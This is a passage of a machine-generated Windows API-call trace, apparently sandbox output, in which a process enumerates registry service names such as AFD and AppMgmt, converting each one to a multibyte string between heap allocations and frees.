lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0256.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.055] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0256.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0256.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a48, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0256.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.055] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0256.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0256.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.055] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0256.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.055] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0256.055] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.055] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.056] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0256.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0256.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.056] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0256.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0256.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.056] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0256.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0256.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0256.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.056] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.056] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0256.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.056] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0256.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.057] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0256.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0256.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.057] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0256.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0256.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.057] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0256.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.057] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0256.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.058] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0256.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0256.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.058] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0256.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0256.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.058] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0256.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0256.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.058] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0256.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0256.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.059] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0256.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0256.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.059] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0256.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0256.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.059] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0256.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0256.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.059] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0256.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0256.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.060] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0256.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0256.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.060] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0256.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0256.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.060] RtlFreeHeap 